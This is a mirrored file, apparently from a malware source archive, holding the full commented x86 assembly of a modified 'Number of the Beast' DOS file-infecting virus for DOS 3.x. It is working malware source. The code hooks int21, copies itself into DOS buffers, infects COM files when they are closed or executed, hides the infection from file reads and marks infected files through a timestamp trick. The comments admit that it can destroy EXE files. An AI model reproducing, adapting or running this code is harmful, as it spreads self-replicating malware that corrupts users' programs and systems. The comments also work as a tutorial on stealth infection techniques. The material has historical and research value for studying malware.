mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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337 lines
13 KiB
NASM
337 lines
13 KiB
NASM
;*******************************************************************************
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;* *
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;* THE NUMBER OF THE BEAST VIRUS *
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;* *
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;* This is NOT a original virus, but a modification. Main difference *
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;* between original virus is, that this release support ANY DOS version *
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;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). *
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;* *
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;* Modification (C) were made by *
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;* *
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;* Kiril Stoimenov & Stephen Genchev *
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;* *
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;* Source was (C) commented by *
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;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 *
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;* *
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;* All Rights Reserved. *
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;* *
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;*******************************************************************************
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;* *
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;* We don't care about any damages caused by compiling and runnig *
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;* of this program. Use it only at your responsible ! *
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;* *
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;* If you find any mistakes or inaccurates in this source or comments, *
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;* please, let us know. Drop message for Waleri Todorov on Virus eXchange *
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;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 *
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;* *
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;* Waleri Todorov *
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;* *
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;*******************************************************************************
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org 0
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mov ah,30h ; Get DOS version
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int 21h
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xchg ah,al ; Swap major and minor digit
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cmp ax,31Eh ; Is DOS==3.30
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mov si,7B4h ; Load offset of original int13
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jae newdos ; If 3.30+ -> Proceed
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mov si,10A5h ; Load offset of original int13
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cmp al,10 ; Check for 3.10
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je newdos ; If so -> proceed
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mov si,1EC9h ; Load offset of original int13 for other DOS's
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newdos: mov ds,cx ; This may cause trouble, because CX
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; is NOT allways set to ZERO
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mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area
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movsw ; Save oroginal int13 vector
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movsw ; to unused area in PSP
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mov si,84h ; DS:SI point to 0000:0084 - int21 vector
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movsw ; Save current int21 vector
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movsw ; to unused area in PSP
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lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21
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push es ; Save ES
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push di ; Save DI
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mov si,8 ; DS:SI point in current int21 handler;
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mov ch,1 ; CX=100h - As I said CX is not allways set to 0
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repz cmpsw ; Check if virus v512 hold the int21 vector
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push cs ;
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pop ds ; Set DS to PSP
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jz SkipInstall ; If virus is active -> SkipInstall
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mov ah,52h
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int 21h ; Get DOS table of table address
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push es ; Save segment of table
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mov si,00F8h ; DS:SI point virus WITH data area in PSP
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sub di,di ; This will be offset in DOS buffer
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les ax,dword ptr es:[bx+12h] ; Load address of first
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; DOS buffer from table of tables
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; This is the reason why virus
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; will NOT work on DOS 4.X+
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mov dx,es:[di+02] ; Load in DX segment of next DOS buffer
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mov cx,0104h ; CX set to virus size (208h bytes)
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repz movsw ; Move itself in DOS buffer
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mov ds,cx ; Now CX is 0 so DS also become 0
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mov di,0016h ; This will be used for finding parent PSP
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mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset
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mov [di+70h],es ; Set new int21 segment
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pop ds ; Restore segment of table in DS
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mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain
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mov dx,cs ; DX is current PSP segment
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mov ds,dx ; DS also
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mov bx,[di-14h] ; Load LAST segment available
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dec bh ; LastSegment-=0x0100
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mov es,bx ; ES point in transit COMMAND.COM area
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cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP
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mov ds,[di] ; Load in DS segment of parent of COMMAND
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mov dx,[di] ; Load in DX parent of parent of COMMAND
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dec dx ; Decrement loaded segment
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mov ds,dx ; Set DS to rezult
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mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command
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mov dx,di ; Save DI in DX
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mov cl,28h ; Will move 80 bytes
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repz movsw ; Do moving
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mov ds,bx ; Set DS to transit COMMAND.COM segment
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jb RunProcess ; If current process is less than parent
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; then COMMAND strat in progress -> read original bytes
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int 20h ; Else stop. File will run from decond start
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; If this instruction will be replaced by
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; PUSH CS; POP DS file will run from first time
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SkipInstall: mov si,cx ; Set SI to 0
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mov ds,[si+02Ch] ; Load in DS segment of envirement
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SearchAgain: lodsw ; Load word from envirement
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dec si ; Decrement envirement pointer
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test ax,ax ; Test for zero in AX
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jnz SearchAgain ; If not zero -> SearchAgain
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add si,3 ; Else SI+=3; Now DS:SI point to filename in env
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mov dx,si ; DS:DX point to filename for open
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RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode
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call CallDosGet ; Call int21 & get handle table address in DS:DI
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mov dx,[di] ; Load file size in DX
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mov [di+04],dx ; Set file pointer to end of file
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add [di],cx ; Increase file size with 512 bytes
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pop dx ; Restore file entry point (100h) to DX
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; This used for reading original bytes
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; of file at normal place
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push dx ; Save entry point again
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push cs ; Set ES point to virus segment
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pop es ;
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push cs ; Set DS point to virus segment
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pop ds ;
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push ds ; Save PSP segment
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mov al,50h ; Push 50h. On stack is far address PSP:0050
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; This are INT 21; RETF instructions
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push ax ; Update returning address
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mov ah,03Fh ; Set AH=3F - read file
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retf ; Far return; Read original file
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; and return control to it
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CallDosGet: int 21h ; Open file; Open procedure will go trough virus
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jc ErrorOpen ; If error occur -> Skip open
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mov bx,ax ; Move file pointer in BX
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; This could be XCHG AX,BX; that save 1 byte
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GetHandleAddr: push bx ; Save file handle in stack
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mov ax,1220h ; Get handle's table number
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int 02Fh ; Via int 2F (undocumented)
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mov bl,es:[di] ; Load table number in BL
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mov ax,1216h ; Get handle table ADDRESS (ES:DI)
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int 02Fh ; Via int 2F (undocumented)
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pop bx ; Restore file handle from stack
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push es ; Set DS to point table's segment
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pop ds ;
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add di,11h ; DI will point file's size entry intable
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mov cx,0200h ; CX set to virus size
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ErrorOpen: ret
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ReadClean: sti ; Disable external interrupts request
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push es ; Save important registers to stack
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push si
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push di
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push bp
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push ds ; Data buffer segment
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push cx ; Bytes to read
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call GetHandleAddr ; Get file handle's table address in DS:DI
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mov bp,cx ; Save virus size in BP
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mov si,[di+04] ; Save in SI current file pointer
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pop cx ; Restore bytes to be readed in CX
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pop ds ; Restore buffer segment
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call ReadOriginal ; Open file with original int21
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jc SkipClean ; If error while read -> skip cleaning
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cmp si,bp ; Check if file pointer was in virus
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jnb SkipClean ; If no -> nothing to clean
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push ax ; Save readed bytes
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mov al,es:[di-04] ; Load AL with file time
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not al ;
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and al,01Fh ; Mask seconds of file time
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jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do
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add si,es:[di] ; Add to current pointer file size
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; Now SI point to requested offset,
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; BUT in original file bytes
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xchg si,es:[di+04] ; Set new file pointer and save old file pointer
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add es:[di],bp ; Increase file size with virus size
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call ReadOriginal ; Open file via original int21
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mov es:[di+04],si ; Restor file pointer
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lahf ; ??? I don't know. If you do let me know
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sub es:[di],bp ; Decrease file size with virus size
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sahf ; ??? I don't know. If you do let me know
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SkipCleanPop: pop ax ; Restore readed bytes
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SkipClean: pop bp ; Restore saved imortant register
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pop di
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pop si
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pop es
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db 0CAh, 2, 0 ; RETF 2
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ReadOriginal: mov ah,03Fh
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CallDOS: pushf
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push cs
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call JumpDOS
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ret
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; Following few bytes are int21 handler. They check if file is open close or
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; executed and clean or infect file with virus. Here there is serious problem -
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; from time to time virus infect file which is NOT COM file (EXE file will be
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; destroyed, by the way).
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; More about this later in comments
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int21: cmp ah,03Fh ; If function is Read file
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jz ReadClean ; then go and read original bytes
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push ds ; Save important registers
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push es
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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cmp ah,03Eh ; If function is Close file
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jz CloseInfect ; then Close and Infect
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cmp ax,04B00h ; If execute file
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mov ah,03Dh ; then open file before execute
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; After opening file will be closed
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; and .... Infected
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jz Infect ;
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TerminateInt: pop di ; Restore important registers
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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pop es
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pop ds
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JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21
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CloseInfect: mov ah,45h
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Infect: call CallDosGet ; Duplicate file handler
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jc TerminateInt ; If error -> terminate
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sub ax,ax ; Set AX to 0
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mov [di+04],ax ; Set file pointer to 0
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mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write
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cld
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mov ds,ax ; Set DS point to interrupt table
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mov si,004Ch ; SI point to int13 offset
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lodsw ; Load int13 offset
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push ax ; and save it in stack
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lodsw ; Load int13 segment
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push ax ; and save it in stack
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push [si+40h] ; Save int24 offset
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push [si+42h] ; Save int24 segment
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lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13
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mov ax,2513h ; and set it via DOS function SetVector
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int 21h ;
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push cs ; Set DS point to virus segment
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pop ds ;
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mov dx,offset int24+8 ; Load in DX offset of int24 handler
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mov al,24h ; Set int24 vector
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int 21h ; via DOS function SetVector
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push es ; Set DS point to handle table segment
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pop ds ;
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mov al,[di-04] ; Load AL with file time
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; As I said in some case virus will infect non-COM file. This may happend
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; if file you work with has time set to 62 seconds. In this case virus infect
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; file without checking filename. This WILL damage EXE file. DOS will treat
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; this files as COM files, but usualy their size is bigger than 64K, so DOS
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; cannot run it. If file is less than 64K then virus run and read original
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; bytes. Usualy he DO read them, then skip control to these bytes. In EXE
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; files this is EXEheader, so execution FAIL (your system CRASH)
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and al,01Fh ; Mask seconds
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cmp al,01Fh ; Check if seconds == 31 (62sec)
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jz NoNameCheck ; If so -> infect with no name check
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mov ax,[di+17h] ; Load AX with first 2 letters of file extension
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sub ax,04F43h ; If file is NOT *.CO?
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jnz SkipInfect ; SkipInfect
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NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec)
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mov ax,[di] ; Set AX to file size
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cmp ax,cx ; Check file size and virus size
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jb SkipInfect ; If file is less than 512 bytes -> Don't infect
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add ax,cx ; Increase file size with virus size
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jc SkipInfect ; If file is bigger than (65535-512) -> no infect
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test byte ptr [di-0Dh],04 ; Check file attribute
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jnz SkipInfect ; If SYSTEM file -> don't infect it
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lds si,dword ptr [di-0Ah] ; Load DS:SI with device header
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dec ax ; AX (file size with virus) --
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shr ah,1 ; AX/=2
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and ah,[si+04] ; Check if enough place in cluster behind file
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jz SkipInfect ; If no place -> terminate infection
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mov ax,0020h ; DS = 20 (Second part of int table)
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mov ds,ax ;
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sub dx,dx ; DS:DX point to virus transfer buffer
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call ReadOriginal ; Open file with original int21
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mov si,dx ; Save virus buffer offset in SI
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push cx ; Save virus size
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LoopCheck: lodsb
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cmp al,cs:[si+07] ; Compare readed data with virus code
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jnz WriteFile ; If at least ONE byte different -> fuck file
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loop LoopCheck ; Check all virus code with buffer
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pop cx ; Restore virus size
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SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec
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NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word
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; In case of file this is flag area. Setting bit 14
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; as virus does, mean for DOS "Don't set file date/time when close"
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; DOS always rewrite Date/Time field of table. If bit 14 is clear (0)
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; then DOS will set current time to file. Virus should avoid this, or
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; DOS will overwrite seconds field and they (seconds) will be normal
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SkipInfect: mov ah,03Eh ; Close file
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call CallDOS ; via original int21
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or byte ptr es:[di-0Ch],40h ; Set flag... See above
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pop ds ; Restore original int24
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pop dx
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mov ax,2524h ; via SetVector
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int 21h
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pop ds ; Restore original int13
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pop dx
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mov al,13h ; via SetVector
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int 21h
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jmp TerminateInt ; All done, jump to DOS
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WriteFile: pop cx ; Restore virus size to CX
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mov si,es:[di] ; Save current file size in SI
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mov es:[di+04],si ; Move file pointer at the end of file
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mov ah,40h ; Write to file its first 512 bytes at the end
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int 21h
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jc NoUpdateTime ; If error occur file time will be normal
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mov es:[di],si ; Set file size to be as before (file size
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; will remain unchanged)
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mov es:[di+04],dx ; Set file pointer to beginning of file
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push cs ; Set DS:DX point to virus
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pop ds ;
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mov dl,08 ; Skip first 8 bytes of virus, because they
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; are a buffer for int handlers adresses
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mov ah,40h ; Write virus at the beginning of file
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int 21h ;
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jmp SetFileTime ; File now OK infected, so his time must be
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; set to 62 sec
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int24: iret ; int 24 handler. Avoid "Write protected error..."
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db '666' ; Virus signature
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